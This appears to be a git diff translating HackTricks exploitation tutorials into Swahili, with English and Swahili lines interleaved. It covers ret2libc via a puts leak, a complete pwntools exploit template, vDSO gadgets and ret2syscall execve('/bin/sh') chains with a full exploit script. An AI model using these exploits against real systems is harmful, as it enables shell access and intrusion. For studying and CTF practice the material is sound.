Kisha, itapanga **anwani** ya gadget `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) ihifadhiwe katika rejista ya **RDI**. Hii ni kwa sababu tunataka **kuita puts** **tukipitia** **anwani** ya `PUTS_GOT` kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayoelekezwa na `PUTS_GOT`.\
Baada ya hapo, `PUTS_PLT` itaitwa (ikiwa na `PUTS_GOT` ndani ya **RDI**) ili puts **isome maudhui** ndani ya `PUTS_GOT` (**anwani ya kazi ya puts katika kumbukumbu**) na it **ichapishe**.\
Hatimaye, **kazi ya main inaitwa tena** ili tuweze kutumia overflow tena.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
Kwa njia hii tumem **danganya kazi ya puts** ili **ichapishe** **anwani** katika **kumbukumbu** ya kazi **puts** (ambayo iko ndani ya maktaba ya **libc**). Sasa kwamba tuna anwani hiyo tunaweza **kutafuta ni toleo gani la libc linatumika**.
![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:
Kwa kuwa tun **atumia** baadhi ya **binary** za **local** si **lazima** kubaini ni toleo gani la **libc** linatumika (pata tu maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\
Lakini, katika kesi ya exploit ya mbali nitafafanua hapa jinsi unavyoweza kulipata:
### 3.1- Searching for libc version (1)
### 3.1- Kutafuta toleo la libc (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**
Unaweza kutafuta ni maktaba gani inatumika kwenye ukurasa wa wavuti: [https://libc.blukat.me/](https://libc.blukat.me)\
Itakuruhusu pia kupakua toleo lililogunduliwa la **libc**
![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2)
### 3.2- Kutafuta toleo la libc (2)
You can also do:
Unaweza pia kufanya:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
This will take some time, be patient.\
For this to work we need:
Hii itachukua muda, kuwa na subira.\
Ili hii ifanye kazi tunahitaji:
- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
- Jina la alama ya Libc: `puts`
- Anwani ya libc iliyovuja: `0x7ff629878690`
Tunaweza kubaini ni **libc** ipi ambayo ina uwezekano mkubwa inatumika.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
Tunapata mechi 2 (unapaswa kujaribu ya pili ikiwa ya kwanza haifanyi kazi). Pakua ya kwanza:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Nakili libc kutoka `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` hadi kwenye directory yetu ya kazi.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
### 3.3- Kazi nyingine za kuvuja
```python
puts
printf
@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
## 4- Kupata anwani ya libc kulingana na msingi & kutumia
## 4- Finding based libc address & exploiting
Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani, nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
Hivyo, mwanzoni mwa `template.py` badilisha **libc** variable kuwa: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
Kutoa **path** kwa **maktaba ya libc** sehemu nyingine ya **exploit itahesabiwa kiotomatiki**.
Ndani ya `get_addr`function **anwani ya msingi ya libc** itahesabiwa:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
> Kumbuka kwamba **anwani ya mwisho ya msingi ya libc lazima iishe na 00**. Ikiwa hiyo si hali yako unaweza kuwa umepata maktaba isiyo sahihi.
Basi, anwani ya kazi `system` na **anwani** ya mfuatano _"/bin/sh"_ zitakuwa **zinahesabiwa** kutoka kwa **anwani ya msingi** ya **libc** na kutolewa kwa **maktaba ya libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
Hatimaye, exploit ya utekelezaji wa /bin/sh itakuwa tayari kutumwa:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Hebu tueleze hii ROP ya mwisho.\
ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi ya main, kisha tunaweza **ku exploit tena** **overflow** (ndiyo maana `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikielekeza kwenye **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapitishwa kama parameter.\
Hatimaye, **anwani ya kazi ya exit** inaitwa ili mchakato **uondoke vizuri** na tahadhari yoyote itazalishwa.
Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
**Kwa njia hii exploit itatekeleza \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET
## 4(2)- Kutumia ONE_GADGET
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
Unaweza pia kutumia [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kupata shell badala ya kutumia **system** na **"/bin/sh". ONE_GADGET** itapata ndani ya maktaba ya libc njia fulani ya kupata shell kwa kutumia tu **anwani moja ya ROP**.\
Hata hivyo, kawaida kuna baadhi ya vizuizi, zile za kawaida na rahisi kuepuka ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka vizuizi hivyo.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## FAILI LA KUVUNJA
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
Unaweza kupata kiolezo cha kutumia udhaifu huu hapa:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## Common problems
## Matatizo ya kawaida
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code:
### MAIN_PLT = elf.symbols\['main'] haipatikani
Ikiwa alama "main" haipo. Basi unaweza kupata wapi kuna msimbo mkuu:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
na weka anwani kwa mikono:
```python
MAIN_PLT = 0x401080
```
### Puts hazipatikani
### Puts not found
Ikiwa binary haitumii Puts unapaswa kuangalia ikiwa inatumia
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Ikiwa utapata **kosa** hili baada ya kuunda **zote** exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Jaribu **kupunguza byte 64 kutoka anwani ya "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template
# Kuonyesha libc - kigezo
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
## Matatizo ya kawaida
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
### MAIN_PLT = elf.symbols\['main'] haipatikani
Ikiwa alama "main" haipo (labda kwa sababu ni binary iliyokatwa). Basi unaweza tu kutafuta wapi kuna msimbo mkuu:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
na kuweka anwani kwa mikono:
```python
MAIN_PLT = 0x401080
```
### Puts hazipatikani
### Puts not found
Ikiwa binary haitumii Puts unapaswa **kuangalia ikiwa inatumia**
If the binary is not using Puts you should **check if it is using**
### `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Ikiwa unapata **kosa** hili baada ya kuunda **yote** ya exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Jaribu **kupunguza byte 64 kutoka kwa anwani ya "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,10 +4,9 @@
## Basic Information
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
Kuna **gadgets katika eneo la vDSO**, ambalo linatumika kubadilisha kutoka hali ya mtumiaji hadi hali ya kernel. Katika aina hizi za changamoto, kawaida picha ya kernel inatolewa ili kudondosha eneo la vDSO.
Kufuata mfano kutoka [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) inawezekana kuona jinsi ilivyowezekana kudondosha sehemu ya vdso na kuhamasisha kwa mwenyeji na:
```bash
# Find addresses
cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP gadgets found:
Vifaa vya ROP vilivyopatikana:
```python
vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> Kumbuka hivyo jinsi inaweza kuwa inawezekana **kuzidi ASLR kwa kutumia vdso** ikiwa kernel imeandikwa na CONFIG_COMPAT_VDSO kwani anwani ya vdso haitakuwa na mabadiliko: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
Baada ya kutupa na kuangalia sehemu ya vdso ya binary katika kali 2023.2 arm64, sikuweza kupata gadget yoyote ya kuvutia (hakuna njia ya kudhibiti register kutoka kwa thamani katika stack au kudhibiti x30 kwa ajili ya ret) **isipokuwa njia ya kuita SROP**. Angalia maelezo zaidi katika mfano kutoka kwenye ukurasa:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -4,24 +4,23 @@
## Basic Information
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
Hii ni sawa na Ret2lib, hata hivyo, katika kesi hii hatutakuwa tukitafuta kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa kimeandaliwa kuitisha syscall `sys_execve` na baadhi ya hoja ili kutekeleza `/bin/sh`. Mbinu hii kawaida hufanywa kwenye binaries ambazo zimeandikwa kwa njia ya static, hivyo kunaweza kuwa na vifaa vingi na maagizo ya syscall.
In order to prepare the call for the **syscall** it's needed the following configuration:
Ili kuandaa wito wa **syscall** inahitajika usanidi ufuatao:
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
Hivyo, kimsingi inahitajika kuandika mfuatano wa herufi `/bin/sh` mahali fulani na kisha kutekeleza `syscall` (ukijua kuhusu padding inayohitajika kudhibiti stack). Kwa hili, tunahitaji gadget ya kuandika `/bin/sh` katika eneo lililojulikana.
> [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> Syscall nyingine ya kuvutia kuitisha ni **`mprotect`** ambayo ingemruhusu mshambuliaji **kubadilisha ruhusa za ukurasa katika kumbukumbu**. Hii inaweza kuunganishwa na [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
## Register gadgets
Let's start by finding **how to control those registers**:
Hebu tuanze kwa kutafuta **jinsi ya kudhibiti zile register**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Kwa hizi anwani inawezekana **kuandika maudhui kwenye stack na kuyapakia kwenye register**.
With these addresses it's possible to **write the content in the stack and load it into the registers**.
## Andika mfuatano
## Write string
### Writable memory
First you need to find a writable place in the memory
### Kumbukumbu inayoweza kuandikwa
Kwanza unahitaji kutafuta mahali pa kuandika katika kumbukumbu
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Andika Mstari katika kumbukumbu
### Write String in memory
Then you need to find a way to write arbitrary content in this address
Kisha unahitaji kutafuta njia ya kuandika maudhui yoyote katika anwani hii.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automashe ROP mnyororo
### Automate ROP chain
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
Amri ifuatayo inaunda mnyororo kamili wa `sys_execve` ROP ikitolewa na binary ya kudumu wakati kuna vifaa vya kuandika-nini-wapi na maagizo ya syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Kukosa Vifaa
## Lacking Gadgets
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
Ikiwa unakosa **vifaa**, kwa mfano kuandika `/bin/sh` katika kumbukumbu, unaweza kutumia **mbinu ya SROP kudhibiti thamani zote za register** (ikiwemo RIP na register za params) kutoka kwenye stack:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
## Exploit Example
## Mfano wa Kutilia Msingi
```python
from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
## Other Examples & References
## Mifano Mingine na Marejeo
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- 64 bits, hakuna PIE, nx, andika katika kumbukumbu fulani ROP ya kuita `execve` na kuruka huko.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- 64 bits, nx, hakuna PIE, andika katika kumbukumbu fulani ROP ya kuita `execve` na kuruka huko. Ili kuandika kwenye stack, kazi inayofanya operesheni za kihesabu inakandamizwa.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bits, hakuna PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ya kuita `execve` na kuruka huko.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Pata utangulizi wa arm64 katika:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -10,72 +10,65 @@ Find an introduction to arm64 in:
## Code
We are going to use the example from the page:
Tutaenda kutumia mfano kutoka kwenye ukurasa:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Kusanya bila pie na canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration:
